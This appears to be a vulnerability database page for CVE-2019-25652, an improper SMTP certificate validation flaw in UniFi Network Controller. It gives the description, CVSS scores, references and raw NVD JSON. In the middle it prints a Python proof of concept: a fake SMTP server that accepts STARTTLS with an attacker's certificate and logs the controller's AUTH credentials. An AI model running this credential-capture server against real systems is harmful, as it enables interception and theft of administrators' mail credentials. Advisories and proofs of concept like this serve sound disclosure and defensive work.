CVE-2019-25652

Description

UniFi Network Controller before version 5.10.22 and 5.11.x before 5.11.18 contains an improper certificate verification vulnerability that allows adjacent network attackers to conduct man-in-the-middle attacks by presenting a false SSL certificate during SMTP connections. Attackers can intercept SMTP traffic and obtain credentials by exploiting the insecure SSL host verification mechanism in the SMTP certificate validation process.

CVSS Details

CVSS Score

7.5

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

UniFi Network Controller < 5.10.22

UniFi Network Controller 5.11.x < 5.11.18

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

# Proof of Concept for CVE-2019-25652
# This script simulates a malicious SMTP server to intercept traffic.
# Requires Python and ssl module.

import socket
import ssl
import threading

# Fake SMTP Server to exploit CVE-2019-25652
# This script listens on port 25 and accepts SSL connections
# to capture credentials from the vulnerable controller.

def handle_client(client_socket):
    try:
        # Send SMTP greeting
        client_socket.send(b"220 fake.smtp.server ESMTP Postfix\r\n")
        while True:
            data = client_socket.recv(1024)
            if not data: break
            print(f"[+] Received: {data.decode().strip()}")
            
            # Simple SMTP responses to capture AUTH
            if b"EHLO" in data:
                client_socket.send(b"250-fake.smtp.server\n250 STARTTLS\r\n")
            elif b"STARTTLS" in data:
                client_socket.send(b"220 Ready to start TLS\r\n")
                
                # Wrap socket with SSL using a dummy cert
                # In a real attack, use openssl to generate a cert
                context = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)
                # Load attacker's self-signed certificate
                try:
                    context.load_cert_chain('cert.pem', 'key.pem') 
                except:
                    print("[-] Cert files not found, using default context (might fail)")
                    
                secure_socket = context.wrap_socket(client_socket, server_side=True)
                print("[+] TLS Handshake established. Intercepting...")
                
                # Read encrypted traffic (AUTH PLAIN/LOGIN)
                while True:
                    d = secure_socket.recv(1024)
                    if not d: break
                    print(f"[+] Captured Auth Data: {d.decode().strip()}")
                break
            else:
                client_socket.send(b"500 Command unrecognized\r\n")
    except Exception as e:
        print(f"[-] Error: {e}")
    finally:
        client_socket.close()

# Start listener
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.bind(("0.0.0.0", 25))
server.listen(5)
print("[*] Listening on port 25 for vulnerable UniFi Controller connections...")

while True:
    client, addr = server.accept()
    print(f"[*] Accepted connection from {addr}")
    threading.Thread(target=handle_client, args=(client,)).start()

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2019-25652
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2019-25652
[3] CVE Details https://www.cvedetails.com/cve/CVE-2019-25652/
[4] VulDB https://vuldb.com/cve/CVE-2019-25652
[5] https://community.ui.com/releases/Security-Advisory-Bulletin-003-003/982bbaa8-2a07-4f81-a5f6-0bb84753f391
[6] https://www.vulncheck.com/advisories/unifi-network-controller-improper-certificate-validation-leading-to-credential-theft-via-mitm

Raw JSON Data

JSON

{"cve": {"id": "CVE-2019-25652", "sourceIdentifier": "[email protected]", "published": "2026-03-27T22:16:19.380", "lastModified": "2026-03-30T13:26:07.647", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "UniFi Network Controller before version 5.10.22 and 5.11.x before 5.11.18 contains an improper certificate verification vulnerability that allows adjacent network attackers to conduct man-in-the-middle attacks by presenting a false SSL certificate during SMTP connections. Attackers can intercept SMTP traffic and obtain credentials by exploiting the insecure SSL host verification mechanism in the SMTP certificate validation process."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:A/AC:H/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 7.7, "baseSeverity": "HIGH", "attackVector": "ADJACENT", "attackComplexity": "HIGH", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "ADJACENT_NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.6, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-295"}]}], "references": [{"url": "https://community.ui.com/releases/Security-Advisory-Bulletin-003-003/982bbaa8-2a07-4f81-a5f6-0bb84753f391", "source": "[email protected]"}, {"url": "https://www.vulncheck.com/advisories/unifi-network-controller-improper-certificate-validation-leading-to-credential-theft-via-mitm", "source": "[email protected]"}]}}